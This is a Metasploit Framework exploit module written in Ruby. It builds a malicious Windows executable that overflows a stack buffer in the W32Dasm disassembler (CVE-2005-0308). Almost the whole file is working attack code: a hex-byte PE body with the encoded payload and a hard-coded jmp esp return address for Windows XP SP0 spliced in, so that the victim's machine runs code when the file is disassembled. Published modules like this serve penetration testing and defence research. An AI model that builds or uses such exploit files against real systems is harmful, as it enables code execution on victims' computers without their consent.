## # $Id$ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'URSoft W32Dasm Disassembler Function Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in W32Dasm <= v8.93. By creating a malicious file and convincing a user to disassemble the file with a vulnerable version of W32Dasm, the Imports/Exports function is copied to the stack and arbitrary code may be executed locally as the user. }, 'License' => MSF_LICENSE, 'Author' => [ 'patrick' ], 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2005-0308' ], [ 'OSVDB', '13169' ], [ 'BID', '12352' ], [ 'URL', 'http://aluigi.altervista.org/adv/w32dasmbof-adv.txt' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Payload' => { 'Space' => 256, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP SP0', { 'Ret' => 0x77e6de9c } ], # jmp esp kernel32.dll ], 'Privileged' => false, 'DisclosureDate' => 'Jan 24 2005', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.', 'msf-w32dasm.exe']), ], self.class) end def exploit # Patrick - This could be improved... Meh sploit = "\x4D\x5A\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00" sploit << "\xFF\xFF\x00\x00\xB8\x00\x00\x00\x00\x00\x00\x00" sploit << "\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x80\x00\x00\x00\x0E\x1F\xBA\x0E\x00\xB4\x09\xCD" sploit << "\x21\xB8\x01\x4C\xCD\x21\x54\x68\x69\x73\x20\x70" sploit << "\x72\x6F\x67\x72\x61\x6D\x20\x63\x61\x6E\x6E\x6F" sploit << "\x74\x20\x62\x65\x20\x72\x75\x6E\x20\x69\x6E\x20" sploit << "\x44\x4F\x53\x20\x6D\x6F\x64\x65\x2E\x0D\x0D\x0A" sploit << "\x24\x00\x00\x00\x00\x00\x00\x00\x50\x45\x00\x00" sploit << "\x4C\x01\x03\x00\x5D\x4A\xF5\x41\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\xE0\x00\x0F\x03\x0B\x01\x02\x38" sploit << "\x00\x06\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00" sploit << "\x19\x12\x00\x00\x00\x10\x00\x00\x00\x20\x00\x00" sploit << "\x00\x00\x40\x00\x00\x10\x00\x00\x00\x02\x00\x00" sploit << "\x01\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x40\x00\x00\x00\x02\x00\x00" sploit << "\x24\xCE\x00\x00\x03\x00\x00\x00\x00\x00\x10\x00" sploit << "\x00\x10\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00" sploit << "\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x30\x00\x00\x3C\x01\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x2E\x74\x65\x78\x74\x00\x00\x00" sploit << "\xDC\x02\x00\x00\x00\x10\x00\x00\x00\x04\x00\x00" sploit << "\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x20\x00\x00\x60\x2E\x64\x61\x74" sploit << "\x61\x00\x00\x00\x94\x00\x00\x00\x00\x20\x00\x00" sploit << "\x00\x02\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\xC0" sploit << "\x2E\x69\x64\x61\x74\x61\x00\x00\x3C\x01\x00\x00" sploit << "\x00\x30\x00\x00\x00\x02\x00\x00\x00\x08\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x60\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x31\xC0\x40\x8B" sploit << "\x4C\x24\x04\xF7\x41\x04\x06\x00\x00\x00\x74\x0F" sploit << "\x8B\x44\x24\x08\x8B\x54\x24\x10\x89\x02\xB8\x03" sploit << "\x00\x00\x00\xC3\x53\x56\x57\x8B\x44\x24\x10\x50" sploit << "\x6A\xFE\x68\x00\x10\x40\x00\x64\xFF\x35\x00\x00" sploit << "\x00\x00\x64\x89\x25\x00\x00\x00\x00\x8B\x44\x24" sploit << "\x20\x8B\x58\x08\x8B\x70\x0C\x83\xFE\xFF\x74\x20" sploit << "\x3B\x74\x24\x24\x74\x1A\x8D\x34\x76\x8B\x0C\xB3" sploit << "\x8B\x4C\x24\x08\x8B\x48\x0C\x83\x7C\xB3\x04\x00" sploit << "\x75\xD7\xFF\x54\xB3\x08\xEB\xD1\x64\x8F\x05\x00" sploit << "\x00\x00\x00\x83\xC4\x0C\x5F\x5E\x5B\xC3\x55\x89" sploit << "\xE5\x53\x56\x57\x55\x6A\x00\x6A\x00\x68\x92\x10" sploit << "\x40\x00\xFF\x75\x08\xE8\x0E\x02\x00\x00\x5D\x5F" sploit << "\x5E\x5B\x89\xEC\x5D\xC3\xFC\x55\x89\xE5\x83\xEC" sploit << "\x08\x53\x56\x57\x55\x8B\x5D\x0C\x8B\x45\x08\xA3" sploit << "\x8C\x20\x40\x00\x89\x1D\x90\x20\x40\x00\xF7\x40" sploit << "\x04\x06\x00\x00\x00\x0F\x85\xBC\x00\x00\x00\x89" sploit << "\x45\xF8\x8B\x45\x10\x89\x45\xFC\xA3\x90\x20\x40" sploit << "\x00\x8D\x45\xF8\x89\x43\xFC\x8B\x73\x0C\x8B\x7B" sploit << "\x08\x83\xFE\xFF\x0F\x84\xA8\x00\x00\x00\x8D\x0C" sploit << "\x76\x83\x7C\x8F\x04\x00\x74\x7D\x56\x55\x8D\x6B" sploit << "\x10\x8B\x45\xEC\x8B\x00\x8B\x00\xA3\x30\x20\x40" sploit << "\x00\x8B\x55\xEC\x8B\x02\xA3\x34\x20\x40\x00\x8B" sploit << "\x42\x04\xA3\x38\x20\x40\x00\x56\x57\x51\xB9\x14" sploit << "\x00\x00\x00\x8D\x3D\x3C\x20\x40\x00\x8B\x35\x34" sploit << "\x20\x40\x00\xF3\xA5\x8D\x3D\x3C\x20\x40\x00\x89" sploit << "\x3D\x34\x20\x40\x00\x59\x5F\x5E\xFF\x54\x8F\x04" sploit << "\x5D\x5E\x8B\x5D\x0C\x09\xC0\x74\x28\x78\x34\x8B" sploit << "\x7B\x08\x53\xE8\x2A\xFF\xFF\xFF\x83\xC4\x04\x8D" sploit << "\x6B\x10\x56\x53\xE8\xC3\xFE\xFF\xFF\x83\xC4\x08" sploit << "\x8D\x0C\x76\x8B\x04\x8F\x8B\x43\x0C\xFF\x54\x8F" sploit << "\x08\x8B\x7B\x08\x8D\x0C\x76\x8B\x34\x8F\xE9\x62" sploit << "\xFF\xFF\xFF\x31\xC0\xEB\x71\x55\x8D\x6B\x10\x6A" sploit << "\xFF\x53\xE8\x95\xFE\xFF\xFF\x83\xC4\x0C\x6A\x00" sploit << "\xC7\x05\x10\x20\x40\x00\x0B\x00\x00\x00\x6A\x0B" sploit << "\xE8\x2F\x01\x00\x00\x83\xC4\x08\x09\xC0\x75\x21" sploit << "\x6A\x00\xC7\x05\x10\x20\x40\x00\x08\x00\x00\x00" sploit << "\x6A\x08\xE8\x15\x01\x00\x00\x83\xC4\x08\x09\xC0" sploit << "\x75\x07\xB8\x01\x00\x00\x00\xEB\x27\x83\xF8\xFF" sploit << "\x74\x2A\x50\xFF\x35\x10\x20\x40\x00\xE8\xF6\x00" sploit << "\x00\x00\x83\xC4\x08\xFF\x35\x10\x20\x40\x00\xE8" sploit << "\xDC\x00\x00\x00\x83\xC4\x04\xB8\x01\x00\x00\x00" sploit << "\x5D\x5F\x5E\x5B\x89\xEC\x5D\xC3\x83\x3D\x2C\x20" sploit << "\x40\x00\x00\x75\x07\xB8\x01\x00\x00\x00\xEB\xE8" sploit << "\xA1\x2C\x20\x40\x00\x6A\x0B\xFF\xE0\x58\xB8\x01" sploit << "\x00\x00\x00\xEB\xD7\x64\xA1\x00\x00\x00\x00\x55" sploit << "\x89\xE5\x6A\xFF\x68\x1C\x20\x40\x00\x68\x9A\x10" sploit << "\x40\x00\x50\x64\x89\x25\x00\x00\x00\x00\x83\xEC" sploit << "\x10\x53\x56\x57\x89\x65\xE8\x50\xD9\x3C\x24\x66" sploit << "\x81\x0C\x24\x00\x03\xD9\x2C\x24\x83\xC4\x04\x6A" sploit << "\x00\x6A\x00\x68\x28\x20\x40\x00\x68\x24\x20\x40" sploit << "\x00\x68\x20\x20\x40\x00\xE8\x45\x00\x00\x00\xFF" sploit << "\x35\x28\x20\x40\x00\xFF\x35\x24\x20\x40\x00\xFF" sploit << "\x35\x20\x20\x40\x00\x89\x25\x14\x20\x40\x00\xE8" sploit << "\x18\x00\x00\x00\x83\xC4\x18\x31\xC9\x89\x4D\xFC" sploit << "\x50\xE8\x26\x00\x00\x00\xC9\xC3\x64\xA3\x00\x00" sploit << "\x00\x00\xC3\x00\x31\xC0\xC3\x90\xFF\x25\xB4\x30" sploit << "\x40\x00\x90\x90\x00\x00\x00\x00\xFF\x25\xC0\x30" sploit << "\x40\x00\x90\x90\x00\x00\x00\x00\xFF\x25\xC4\x30" sploit << "\x40\x00\x90\x90\x00\x00\x00\x00\xFF\x25\xC8\x30" sploit << "\x40\x00\x90\x90\x00\x00\x00\x00\xFF\x25\xCC\x30" sploit << "\x40\x00\x90\x90\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x20\x40\x00\x00\x20\x40\x00\x00\x80\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x90\x30\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x0C\x31\x00\x00" sploit << "\xB4\x30\x00\x00\x9C\x30\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x20\x31\x00\x00\xC0\x30\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\xD4\x30\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x30\x00\x00" sploit << "\xF0\x30\x00\x00\xF8\x30\x00\x00\x00\x31\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\xD4\x30\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\xE0\x30\x00\x00" sploit << "\xF0\x30\x00\x00\xF8\x30\x00\x00\x00\x31\x00\x00" sploit << "\x00\x00\x00\x00\x78\x02" sploit << payload.encoded + [target['Ret']].pack('V') + Rex::Arch::X86.jmp(6558287) #It is a big jump :) sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" sploit << "\x00\x00\x00\x00" print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) end end